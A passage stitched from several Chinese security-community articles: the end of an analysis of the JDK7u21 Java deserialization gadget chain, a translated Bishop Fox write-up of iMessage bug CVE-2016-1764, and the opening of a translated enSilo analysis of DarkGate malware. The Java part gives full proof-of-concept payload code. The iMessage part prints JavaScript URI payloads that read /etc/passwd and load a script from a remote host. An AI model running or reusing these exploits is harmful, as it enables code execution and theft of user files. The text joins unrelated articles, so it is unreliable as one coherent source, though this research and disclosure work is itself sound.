before!
SubjectImpl.hello(): world!
after!
那么动态代理大概就分为几个部分：
1. 被代理的接口类
2. 被代理的接口类的实现类
3. 继承InvocationHandler接口、实现invoke方法的拦截器类
4. Proxy.newProxyInstance完成拦截器，与被代理的接口类的绑定
5. 调用这个返回对象的被代理接口即可。（此处注意这个返回的对象不是只有被代理的接口类中的接口，还有一些常用接口，之后会截图说明。）
我们说了那么多动态代理机制，是为啥呢？
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
//实现了InvocationHandler接口的invoke函数
public Object invoke(Object var1, Method var2, Object[] var3) {
...
}
}
其实就是因为AnnotationInvocationHandler类其实是一个InvocationHandler接口的实现类。它不只是在cc的利用链中作为反序列化点，还是作为动态代理的拦截器实现函数(有一个自己的invoke方法)
### 动态代理链接AnnotationInvocationHandler与Templates
我们的目的是连接代理后的对象Proxy的equal方法到Templates的newTransformer方法。
当建立动态代理后（Proxy.newInstance返回一个对象a），我们假设调用a.b(c)
先瞅一眼AnnotationInvocationHandler的构造函数有个底，我们可以知道有可控的this.type与this.memberValues
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}
> bytheway，这里的AnnotationInvocationHandler构造函数是缺省修饰符，它在不同的包中是不能直接调用的。
>
> 反射机制中有说到，可以使用setAccessible(true)来开放权限。
调用a.b(c)。 `sun.reflect.annotation.AnnotationInvocationHandler#invoke`
//var1 当前的Proxy代理实例对象，即a.b(c)的a
//var2 当前调用的方法，即a.b(c)的b
//var3 当前调用方法的传入参数列表，即a.b(c)的c
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();//被调用方法名
Class[] var5 = var2.getParameterTypes();//获取传入参数类型列表
//如果调用的方法名是equals，传入一个参数，并且为Object类型,即a.equal((Object.class)c)
//此处的意思应该为判断a是否与传入的c完全相等。
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);//我们进入此处，传入的是a.b(c)中的c的第一个参数
} else {
...
`sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl`
//var1 a.b(c)的c
private Boolean equalsImpl(Object var1) {
// var1 若为AnnotationInvocationHandler类，就相等
if (var1 == this) {
return true;
// var1 应该为this.type的实例 （此处为一个要求）
// 此处意思应该是只能比较this.type中规定好的类是否完全一致
} else if (!this.type.isInstance(var1)) {
return false;
} else {
//如果是this.type（可控）中的类的实例的话
//就要开始获取this.type这个类中的所有方法
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
//去对应着遍历调用c对象中的Methods方法
//把结果与在构造函数中定义的this.memberValues做对比，若一样则判定相等
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];//遍历获取方法
String var6 = var5.getName();//获取方法名字
Object var7 = this.memberValues.get(var6);//获取我们控制的menberValues中的值
Object var8 = null;
//看看var1是不是也是一个代理类，如果是获取它的代理实现类（这里没用）
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
//不是代理类，进入此处
try {
var8 = var5.invoke(var1);//反射调用！！！！
//这里的意思就是 var1.var5()
//根据this.type类型遍历所有方法，调用传入参数var1中的所有对应方法。
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
//该函数原本的功能 需要比较下调用返回结果与预设值一样不。
if (!memberValueEquals(var7, var8)) {
return false;
}
}
equals方法会根据this.type类中的方法去遍历调用传入对象中的所有对应的方法。那么！
1. 我们可以构筑一个AnnotationInvocationHandler类，构造函数中选择一个this.type，this.type这个类中需要包含我们要恶意执行的方法。
2. 把这个AnnotationInvocationHandler类与随便什么接口进行绑定（因为我们需要调用的是equals，只要是一个Object对象就会有equals方法 maybe？）
3. 调用这个代理类的equals方法，同时給入恶意实例，就会遍历this.type这个类中的方法对恶意实例中的对应方法进行调用。唯一的缺点就是调用的方法不能传入参数。（因为`var5.invoke(var1);`只传入了对象，没有传入参数）
我们需要调用的是`TemplatesImpl.newTransformer()`，刚好这个方法不需要传入参数！
再是this.type=Templates.class，因为TemplatesImpl继承自Templates接口，并且它有我们要的方法，并且在第一个（为啥需要恰好又刚好在第一个，之后有说法）。
public interface Templates {
Transformer newTransformer() throws TransformerConfigurationException;
Properties getOutputProperties();
}
给出poc
public static void main(String[] args) throws Exception {
//AnnotationInvocationHandler构造函数的this.memberValues
Map map = new HashMap();
//获取AnnotationInvocationHandler构造函数
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
//由于是缺省修饰符，不同的包，不能直接调用。允许调用
ctor.setAccessible(true);
//创建AnnotationInvocationHandler实例，this.type=Templates.class
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class,map);
//Override是一个啥都没有的接口，这里用这个类，表示其实绑定啥都没关系
//在高版本的jdk中，在构造函数中对于type做了校验，如果要在高版本中构造payload，需要使用反射机制构筑。如果对方也是高版本的jdk（即经过了修复）那么我们构筑的InvocationHandler类也是因为构造方法通过不了而无法利用。具体我们在后面修复情况中说到。
//InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class,map);
//Reflections.setFieldValue(tempHandler, "type", Templates.class);
//有些地方POC写的是Templates.class类，其实没必要
Override proxy = (Override) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(),new Class[]{Override.class},invocationHandler);
//恶意类
final Object templates = Gadgets.createTemplatesImpl("calc");
//调用，执行`TemplatesImpl.newTransformer()`
proxy.equals(templates);
}
#### this.type的讲究
为啥this.type需要选用类中第一个方法是我们需要调用的方法的类呢？
因为不是的话，就需要考虑更多，比如报错退出。可以看到在执行完我们的payload后是会报错退出的，当然这对我们paylaod的执行没有影响。
但是假如我们需要调用的方法不在第一个，而前面是一个需要参数的方法，就会因为没有传入参数而报错退出。（比如我们把Templates.class改成TemplatesImpl.class）
如果我们需要调用的方法前面有一些其他方法，但是都是不需要参数的，我们还需要构造this.memberValues，让前面这些函数的返回值与this.menberValues里面一致才不会返回false退出。就会有一串的麻烦（目前来看这样也是可行的，但是假如这里真的改了this.memberValues之后LinkedHashSet那关就过不去了！实际上我们只能且必须要找到一个第一个方法是能够代码执行的方法！）
所幸我们可以找到一个Templates类，它进行代码执行的方法是第一个，万幸。
## 进一步延伸至LinkedHashSet
接下来需要触发`proxy.equals(templates)`，这种`a.equals(b)`的形式。a是我们构建的动态代理返回对象，b是恶意TemplatesImpl类。
**LinkedHashSet类** 继承自 **Hashset**
，具有Hashset的全部特点：元素不重复，快速查找，快速插入。新增的特性是有序，数据结构上使用双向链表实现。（之所以用LinkedHashSet就是因为其有序的特性，后面会说到为什么需要有序）
`LinkedHashSet.java`
public class LinkedHashSet<E>
extends HashSet<E>
implements Set<E>, Cloneable, java.io.Serializable {
...
//给一个我们要用到的构造函数
public LinkedHashSet() {
super(16, .75f, true);//进去这里看看
}
//LinkedHashSet这个类其实根本没有自己实现过类，只有四个构造函数，实际上使用LinkedHashMap实现有序功能的
...
}
super就进入HashSet了，`HashSet.java`:
HashSet(int initialCapacity, float loadFactor, boolean dummy) {
map = new LinkedHashMap<>(initialCapacity, loadFactor);//可以看到使用LinkedHashMap创建了有序集合
}
具体是如何实现这个集合的，我们就不纠结了。我们需要通过LinkedHashSet连接 **writeObject序列化与readObject反序列化**
这个利用链入口至 **a.equals(b)** 这个我们之前得到的触发点。
先看LinkedHashSet的序列化与反序列化。LinkedHashSet获取的是LinkedHashMap的实例，而LinkedHashMap又继承自HashSet，所以最终的序列化与反序列化就是在`HashSet类`中。
我们跟着反序列化触发链来看。
//我们构造payload，最终调用writeObject
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// 序列化任何隐藏的序列化魔术（不懂什么骚操作）
s.defaultWriteObject();
// 序列化map的容量与加载器
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());
// 序列化map的大小
s.writeInt(map.size());
// 遍历序列化每一个map中的元素
for (E e : map.keySet())
s.writeObject(e);
}
//在服务端触发payload，最先触发的函数。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// 反序列化任何隐藏的序列化魔术（不懂什么骚操作）
s.defaultReadObject();
// 反序列化HashMap容量和加载器并创建备份HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// 反序列化map的大小
int size = s.readInt();
// 遍历反序列化每一个map的元素，并把他们加入到map中
for (int i=0; i<size; i++) {
E e = (E) s.readObject();//获取我们每一个map元素
map.put(e, PRESENT);//重新放入map中，我们进入此处,就是出在这里。
//e为我们map的元素，present是一个常量，就是一个新的object对象
}
}
java.util.HashMap#put
//这个key，就是我们传入的元素，value是一个固定值木有用。
public V put(K key, V value) {
//key不能为null
if (key == null)
return putForNullKey(value);
//计算key的hash值
int hash = hash(key) ;
int i = indexFor(hash, table.length);
// 遍历已有的元素
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
//本意是判断最新的元素是否已经存在的元素
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
//如果是已经存在的元素，就返回已经存在的value。不插入。
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
//如果不是已经存在的元素，就插入到table中
addEntry(hash, key, value, i);
return null;
}
我们专注于`if (e.hash == hash && ((k = e.key) == key || key.equals(k)))
{`这句语句。（e为前一个元素，key为当前元素）
可以看到`key.equals(k)`符合我们前面说到的`a.equals(b)`的格式。在只有两个元素的情况下，k为有序集合中第一个元素，key为第二个元素。
即我们需要一个有序集合`{templates，proxy}`才能满足`proxy.equals(templates)`这一句触发语句。
> 这也就是为什么需要有序集合的原因，如果是普通集合，不会一定会符合这个`a.equals(b)`的顺序
由于这里代码`(e.hash == hash && ((k = e.key) == key ||
key.equals(k)))`调用第三个语句就需要满足条件
* `e.hash == hash`：templates的hash == proxy的hash
* `(k = e.key) != key` ：templates（就是k） ！= proxy（就是key）（我们需要||左边这个表达式不满足，才会执行右边的漏洞触发函数key.equals(k)。这是||的特性，执行到一个为true的，后面的表达式就不执行了）
因为templates和proxy完全是两个不同的对象。所以第二个条件满足。
但是第一个条件需要hash相同，如果不是偷看答案的小白（我自己）肯定会突然僵住，特么这咋可能hash相等，当场直接gg。实际上套路还是很深。看hash是如何生成的
java.util.HashMap#hash
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
h ^= k.hashCode();//惊为天人的调用了我们传入的对象k的hashCode函数，也就是说我们有可能可以对于hash值进行一定的操控
//接下来又是一些骚操作
// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
我们传入的obj有TemplatesImpl类，但是这个类中没有自实现hashcode方法。
有Proxy对象（进入AnnotationInvocationHandler拦截器实现类），proxy.hashCode会先进入AnnotationInvocationHandler的invoke拦截器。（跟equals一样一样的，任何函数都会先进入invoke方法）
`sun.reflect.annotation.AnnotationInvocationHandler#invoke`
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);//我们之前payload触发在这
} else {
assert var5.length == 0;
if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {//往下看！这个可爱的invoke实现上对于hashCode这个函数还是有独特处理的！！！！
return this.hashCodeImpl();//进去看看
`sun.reflect.annotation.AnnotationInvocationHandler#hashCodeImpl`
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
这边写的贼复杂，改成简单点
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
//this.memberValues是我们构造AnnotationInvocationHandler时，可控的那个map
Iterator var2 = this.memberValues.entrySet().iterator();//获取遍历器
for( ;var2.hasNext(); ) {
var3 = (Entry)var2.next();
String key = var3.getKey();//（可控map的键）
Object value = var3.getValue()；//（可控map的值）
var1 += 127 *
key.hashCode() ^ //可控map的键 的 hashCode
memberValueHashCode(value); //可控map的值的 hashCode
}
return var1;
}
`sun.reflect.annotation.AnnotationInvocationHandler#memberValueHashCode`
private static int memberValueHashCode(Object var0) {
Class var1 = var0.getClass();
if (!var1.isArray()) {//不是数组的话获取传入值的hashCode。
return var0.hashCode(); //返回var0这个对象的hashCode
...
我们的目的是为了满足以下等式：
**Proxy的hashCode = 127 * 可控键的hashCode ^ 可控值的hashCode ==
TemplatesImpl的hashCode**
> *与 ^（异或） ，前者优先级高，后者优先级低，所以正常从左到右运算
>
> 又 0 ^ n = n
那么只需要可控键的hashCode等于0就会出现：
**127 * 0 ^ TemplatesImpl的hashCode == TemplatesImpl的hashCode**
this.memberValues中map中键值对的值为我们的恶意TemplatesImpl类即可，接下来需要它的键名的hashCode为0
研究员就是会寻找到一些神奇的值比如`"f5a5a608"`，`""` 这些值的hashCode为0！！！
所以我们在this.memberValues中赋值键值对 `("f5a5a608"->TemplatesImpl恶意类)`即可。
看payload
public static void main(String[] args) throws Exception {
//生成恶意的templates类
Templates templates = Gadgets.createTemplatesImpl("calc");
//AnnotationInvocationHandler类this.memberValues的map,填入键值对来满足hash相等
Map map = new HashMap();
String magicStr = "f5a5a608";
//String magicStr_null = "";//也可
//此处需要的先往map中放入一个没用的值，之后说明
map.put(magicStr,"Override");
//生成proxy对象
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class,map);//this.type,this.memberValues
Override proxy = (Override) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(),new Class[]{Override.class},invocationHandler);
//生成LinkedHashSet，按照顺序一次放入templates和proxy
HashSet set = new LinkedHashSet(); // 填入
set.add(templates);
set.add(proxy);
//重新修改map的值
map.put(magicStr,templates);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
//序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(set);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();
//反序列化
byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
}
#### this.memberValues的键值对的值先占位
以上代码还会有最后一个疑问，为啥我们填入this.memberValues的map要先试用override字符串来占位，直接填入恶意的攻击类templates不行么？
确实是不行的，因为我们可以看到我们在生成LinkedHashSet时调用了`java.util.HashSet#add`
public boolean add(E e) {
return map.put(e, PRESENT)==null;
}
这里调用了我们触发漏洞的函数map.put(),同时也是按照我们的漏洞触发顺序去调用map.put，这会导致payload会在我们本地触发，之后会无法序列化成功(至于为啥序列化不成功不想追究了！)
所以一套完美的利用链就分析完了！
## 修复情况
我们在7u80版本中去查看AnnotationInvocationHandler的构造方法，会发现对于this.type进行了校验必须为Annotation.class。
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
如果我们们使用以上的payload去打7u80版本的jdk就会在反序列化AnnotationInvocationHandler类调用其构造函数的时候，报错。
>
> 这也就是为什么之前的payload说到在高版本创建需要使用反射把恶意的this.type写进去，当然构造时可以这样，触发时就必须走构造函数，骚操作不了了。
主要组件的 LinkedHashSet -> AnnotationInvocationHandler -> templateImpl
就因为AnnotationInvocationHandler 反序列化失败而失败。
## 小结
一路分析下来，只能说这个利用链实在是太骚了。
从templates.newTransformer触发链的限制条件，使用javassist去构造templates恶意类。（其中分析了_tfactory与版本问题，payload位置static与构造函数的问题）
再通过java的动态代理特性，选中了AnnotationInvocationHandler这个拦截器。
我们通过AnnotationInvocationHandler的invoke拦截实现类的特性，选择了this.type特殊构造了AnnotationInvocationHandler类。链接了
proxy.equals(templates)到Templates.newTransformer()。
再是通过LinkedHashSet类，左打通了序列化与反序列化的入口点，右在反序列化恢复集合的过程中存在着一处a.equals(b)可以连接proxy.equals(templates)这一触发点。
最神奇的是为了满足到达触发点的要求，还反过头来利用AnnotationInvocationHandler类中的invoke方法中的hashCode路径。在AnnotationInvocationHandler构造中寻求了一处特殊的this.memberValues，来达成hash(a)=hash(b)的骚操作。
只可以说安全研究员真是大佬....这个穿针引线一处不差的。
虽然说这条利用链已经被封了好久了，但是我们也可以意识到被封杀的是AnnotationInvocationHandler构造方法处。
如果可以通过其他途径接上templates.newTransformer，就可以构筑一条新的链。因为单单templates.newTransformer是仍然可以作为payload执行的触发点的（比如7u80）。
## 2019.12.12更新
在看FastjsonExploit框架时，发现有Templates恶意类竟然有第二个触发点。前文中我们讲到的TemplatesImpl类是jdk自带的`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`包中的类
看了fastjsonexploit的代码后，发现在另外一个包里面有一个跟我们上面TemplatesImpl几乎完全一样的一个类。
我们在`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`的父类Templates中查找继承该父类的类。（idea下ctrl+alt+B）
可以发现在`org.apache.xalan.xsltc.trax.TemplatesImpl`也继承该接口。该类与之前的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl几乎完全一致，payload也没有任何差别。，只是在构造exp触发那个自定义类时，继承父类`AbstractTranslet`接口的入参中不一样，但是如果我们是在代码中动态指定父类的话，这也无关痛痒。
在github的代码中查找继承Templates类是无法找到该类的。
因为这个类是位于xalan这个第三方包里面，而不是在jdk7本身的代码中。
<dependency>
<groupId>xalan</groupId>
<artifactId>xalan</artifactId>
<version>2.7.2</version>
</dependency>
可见这个触发点的利用链利用条件就更加苛刻了。
不过单独就最后的这个触发点拎出来，也是一个新的思路，这样就把对于jdk7版本的限制变成了即使是jdk8的环境下，只要使用了xalan
2.7.2这个包，也会引入一个触发点。也算是扩大了攻击面吧。
# 参考
<https://www.freebuf.com/vuls/175754.html>
<https://b1ue.cn/archives/176.html>
<https://gist.github.com/frohoff/24af7913611f8406eaf3>
<https://sec.xiaomi.com/article/41>
[javassist使用全解析](https://www.cnblogs.com/rickiyang/p/11336268.html) | 社区文章 |
# 从客户端中恢复iMessage明文信息
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.bishopfox.com/blog/2016/04/if-you-cant-break-crypto-break-the-client-recovery-of-plaintext-imessage-data/>
译文仅供参考，具体内容表达以及含义原文为准。
2016年3月份,苹果公司正式宣布漏洞CVE-2016-1764已经成功修复。该漏洞是一个应用层漏洞,攻击者可以利用这个存在于OS
X系统短信客户端中的漏洞来获取到邮件中所有文字内容和附件内容的明文数据。与之相反,相较于攻击iMessage的传输协议,利用这个漏洞来进行攻击则更加的简单。与此同时,攻击者既不需要对数学知识有非常深入的研究,而且也不需要对计算机系统的内存管理方式和shellcode等内容有任何了解,攻击者只需要了解一些关于JavaScript的基础知识,就可以利用这个漏洞来实施攻击了。
**技术综述**
iMessage是苹果公司推出的即时通信软件,可以发送短信、视频和附件等内容,其拥有非常高的安全性。iMessage不同于运营商短信/彩信业务,用户仅需要通过WiFi或者蜂窝数据网络进行数据支持,就可以完成数据通信。iMessage利用了iOS和Mac
OS中最新的消息提醒系统,可以将信息直接推送到对方的屏幕上,而不管对方是在游戏还是锁屏状态。如果双方都在使用iMessage,你甚至可以看到对方正在输入的状态。
除此之外,OS X中的iMessage会将消息中所有的URI地址转换成HTML中的<a
href=”URI”>链接。这样一来,攻击者就可以创建一个简单的JavaScript
URI来欺骗用户去点击它,当用户点击了这条恶意链接之后,攻击者的代码(跨站脚本)便会执行。
虽然OS X中的iMessage使用的是嵌入式的WebKit库,但是攻击者仍然可以利用XMLHttpRequest(XHR)
GET请求(file://URI)来读取到任意文件的内容,这是因为其中却少同源策略(SOP)。攻击者不仅可以利用XHR来读取任意文件,而且还可以将目标用户的聊天记录和附件文件上传至远程服务器中,传输速度完全取决于目标用户的网络带宽。
在整个攻击过程中,唯一需要的用户交互行为就是点击那个恶意URL地址。除此之外,如果目标用户在Mac中开启了短信同步功能,攻击者就可以利用计算机来获取到目标用户iPhone手机发送或接收到的所有短信消息。
如果大家想了解更多的细节信息,请继续阅读这篇文章。
**技术细节**
OS X中的短信机制
OS
X中的短信消息依赖于内嵌的WebKit,并以HTML来作为用户接口。当系统接收或发送短信时,系统会将HTML内容插入DOM之中,然后再在图形界面中显示出文字或附件内容。
当我们对OS X中的iMessage客户端进行了分析和测试之后,我们发现了下图所示的URI链接,这些地址都将会被插入至WebView之中:
test://test
smb://[email protected]
file:///etc
anyurihandler://anycontentafter
由于OS
X中的短信客户端没有设置可用协议的白名单,这也就意味着攻击者可以向目标用户发送一个包含有JavaScript代码的短信,系统将会把JS代码转换成可点击的地址形式呈现给目标用户。
当用户点击了这条链接之后,内嵌的WebKit将会执行攻击者提供的JavaScript代码,示例如下图所示:
需要注意的是,代码中的“%0a”是为了防止其被JavaScript的注释符“//”注释掉。当这段代码被解释执行之后,将会变成下面这种形式:
//bishopfox.com/research?
prompt(1)
当点击了这条地址之后,OS X的短信客户端将会被激活:
但是,OS X的短息客户端是桌面应用程序,并不是一个web网页。因此,JavaScript代码需要以applewebdata://origin的形式来运行:
读取文件
OS X中的短信客户端可以执行下列代码,并读取/etc/passwd文件中的内容:
function reqListener ()
{ prompt(this.responseText);
// send back to attacker’s server here
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();
当系统将上述内容转换成了URI payload之后,代码将会变成下面这种形式:
//bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B
如果用户在短信客户端中点击了这个链接,那么程序界面将会变成如下图所示的情况:
注入至应用程序DOM中的JS代码如下所示:
//bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
上面所列出的JavaScript代码可以包含任意长度的JS控制指令。
考虑到OS X的应用程序沙箱,只有当文件位于“~/Library/Messages/*”目录和一些系统目录(/etc/)之下时才可以被访问到。
获取短信数据库和附件
当短信客户端接收到了短信或者附件之后,系统将会把这些数据存入这个目录之中:
/Users/<username>/Library/Messages/*
这些信息中的文字内容和其他的一些元数据将会被存储至SQLite数据库中,数据库的存储地址如下:
/Users/<username>/Library/Messages/*
在这个数据库中,还包含目标用户计算机中所有附件的存放地址。但是,如果攻击者想要获取到这些数据的话,还需要使用到更加高级的攻击技术。
**对于开发者而言,JavaScript无处不在**
现在,客户端的内容注入漏洞已经不仅限于浏览器之中了。对于开发者来说,类似WebKit和nw.js这样的技术可以帮助他们很大程度地加快程序的开发进度,但是如果直接使用这些代码库,往往会影响应用程序的安全性。很明显,嵌入式的web应用框架中肯定是存在漏洞的,例如跨站脚本(XSS)等。随着攻击技术的不断发展,攻击者将来还有可能利用这些漏洞来进行破坏性更大的攻击。
这个漏洞也足以证明URI是多么的强大。对于那些完全对此不了解的用户而言,URI可能就是一个能够帮助他们链接到某个网站的工具,但是这只是它的其中一个功能。在这个复杂多变的网络环境中,它的功能远远不止这些。就像电子邮件中的附件一样,现在很多用户已经逐步开始意识到在点击这些文件之前,需要确定这个附件是否安全。而可点击的链接地址也是如此,用户只有在确定了这条地址的来源是否可信任之后,再去点击它。
在此,我们要感谢苹果公司在整个过程中与我们进行了非常积极的沟通与合作,并且在最短的时间里修复了这个漏洞。 | 社区文章 |
原文：<https://blog.ensilo.com/darkgate-malware>
近日一类在野活跃且隐秘型很好的多功能恶意软件感染了西班牙和法国的诸多用户主机，其功能复杂完善，近乎绕过了市面上所有AV的检测。
### 0x01 摘要
近日国外安全专家enSilo和Adi
Zeligson发现了一款叫做DarkGate且从未被AV检测到的高度复杂的恶意软件。其设计是针对Windows工作站和支持一个反应性的命令和控制系统，DarkGate通过torrent文件传播。当用户执行时，DarkGate能够绕过多个AV产品的检测并执行恶意代码，包括加密货币挖掘、密码窃取、勒索和远程控制等。
DarkGate的特点:
* 利用Akamai(阿卡迈 一家CDN公司)的CDN和AWS这样合法服务来建立C&C通信以规避AV检测。
* 使用多种方法避免传统AV检测，包括某国际AV大厂的对`Process Hollowing`技术拦截。
* 可通过几个已知的文件恢复工具防止核心文件被删的。
* 使用了两种不同的用户帐户控制(UAC)绕过技术来提权
* 可执行多种恶意代码，包括加密货币挖掘，密码窃取(窃取与密码钱包相关的用户凭证)，勒索和远程控制。
### 0x02 技术分析
这种恶意软件名为DarkGate，通过分析得知其旨在感染整个欧洲，特别是西班牙和法国的目标。DarkGate的功能包括挖矿、从加密钱包窃取凭证、勒索以及对感染PC进行远程控制。
enSilo发现这个恶意软件的作者建立了一个执行命令和控制的机制，方便他们在接收到新感染的密码钱包的通知后采取行动。如果DarkGate检测用户有任何有趣的操作时，他们就可以在被感染的机器上安装一个定制的远程访问工具，方便进行手动操作。
日常研究恶意软件活动的过程中，为了其功能以及开发者在感染后的操作我们偶尔会主动让恶意软件感染自己的测试机器。比如某次与恶意软件的开发者的邂逅中，我们很确定对方检测到了我们的活动，并且对方立即使用了特制的勒索软件感染了我们的测试机器，从而阻止我们的分析。
DarkGate这款恶意软件的作者似乎投入了大量的时间和精力，利用多种规避技术来避免被发现。其中一种使用的技术是Hook用户模式来绕过，这种技术使得DarkGate可以在很长一段时间内逃避各种AV的检测。
enSilo研究小组跟踪了“DarkGate”及其变种，发现大多数AV厂商都没有发现它。也正是这个发现促使我们开始研究恶意软件的各种新特性，这些特性在技术分析部分有提到。DarkGate的每一个变种技术都在不断革新，值得关注。
虽然挖矿，盗密码和勒索这几个功能表明作者的动机是为了钱，但是作者是否还有其他动机有待商榷。
### 0x03 变种分析
通过技术分析我们可以发现DarkGate与此前检测到的[Golroted](https://www.bankinfosecurity.asia/cert-in-warns-info-stealing-trojan-a-8444)恶意软有关联。其使用了`Nt* API`来调用并执行`Process
Hollowing`。此外，`Golroted`还使用了UAC绕过技术，这是一种基于`SilentCleanup`计划任务的技术。DarkGate同时使用了这两种技术。
在分析Golroted和DarkGate二进制文件的差异后，我们发现了两者有大量重叠的代码。如图1所示，两种恶意软件的变异体都在进程`vbc.exe`上执行`Process
Hollowing`函数。DarkGate稍作修改而已。
图1:Golrating和DARKGATE的二进制文件差异
### 0x04 感染策略
可以确定的是DarkGate和Golroted使用的两种截然不同的感染方法。恶意文件伪装为电影和电视剧的Torrent文件进行传播并在受害者的机器上执行VB脚本。
如图2所示众的第二个文件，`the-walking-dead-9-5-hdtv-720p.torrent.vbe`使用了一种更简单的方法来感染受害者，那就是直接发带有恶意文件的钓鱼邮件（图3）。
图2:TORRENT文件的截图
图3 包含`THE-WALKING-DEAD-9-5-HDTV-720P.TORRENT.VBE`文件的钓鱼邮件
### 0x05 DARKGATE执行四部曲
#### 0x05_add_01 起
DARKGATE使用了一种独特的多级解压方法。执行的第一个文件是被混淆后的VB脚本，其功能类似于国内的Downloader，只执行一些简单的操作。紧随其后的第一阶段，几个文件会被放入一个隐藏后的文件夹`C:\{username}`。其中包括`autoit3.exe`，`test.au3`,
`pe.bin`，`shell.txt`。接下来test.au3这个AutoIt脚本会调用autoit3.exe的删除功能并执行。
图4 被混淆后的VB脚本
#### 0x05_add_02 承
在第二阶段，AutoIt脚本会在自启目录下创建了一个名为`bill.ink`的快捷方式。创建完成后触发`C:\{username}\shell.txt`文件中的二进制代码。
#### 0x05_add_03 转
第三个阶段将会解密并执行`shell.txt`中的代码。该脚本使用了一种非常少见的技术来执行二进制代码。主要流程如下:
* 从`shell.txt`众加载二进制代码并载入内存
* 将数据复制到可执行内存空间(`DLLStructCreate`和`DllStructSetData`)
* 引用`CallWindowProc`的二进制代码并作为`lpPrevWndFunc`参数来调用
图5 解密后的AUTOIT脚本
#### 0x05_add_04 合
最后，在前面提到的多级解压技术下从`shell.txt`中加载的二进制代码并执行以下操作:
* 检索可执行文件，验证是否为了卡巴斯基下安装目录下的可执行文件名。
* 读取`pe.bin`并解密。
* 使用`Process Hollowing`技术将从`pe.bin`解密出来的代码注入到`vbc.exe`进程中。
研究发现如果DarkGate检测到卡巴斯基的存在，它会将恶意软件加载到shellcode的一部分，而不是使用`Process
Hollowing`技术。解密后的`pe.bin`文件是DarkGate的核心文件。负责与C&C服务器通信并执行接收到的命令。
总结一下这四个阶段的解压技术：
1. 加载的初始代码是使用VB编写的，负责删除所有相关文件:
2. autoit3.exe
3. test.au3
4. pe.bin
5. shell.txt
一旦点击就会运行AutoIt脚本。
1. AutoIt脚本用AutoIt解释器运行并解密二进制代码，然后将其加载到内存中。
2. 执行二进制代码并绕过卡巴斯基的检测。
3. 解密并执行最终的二进制文件`pe.bin`
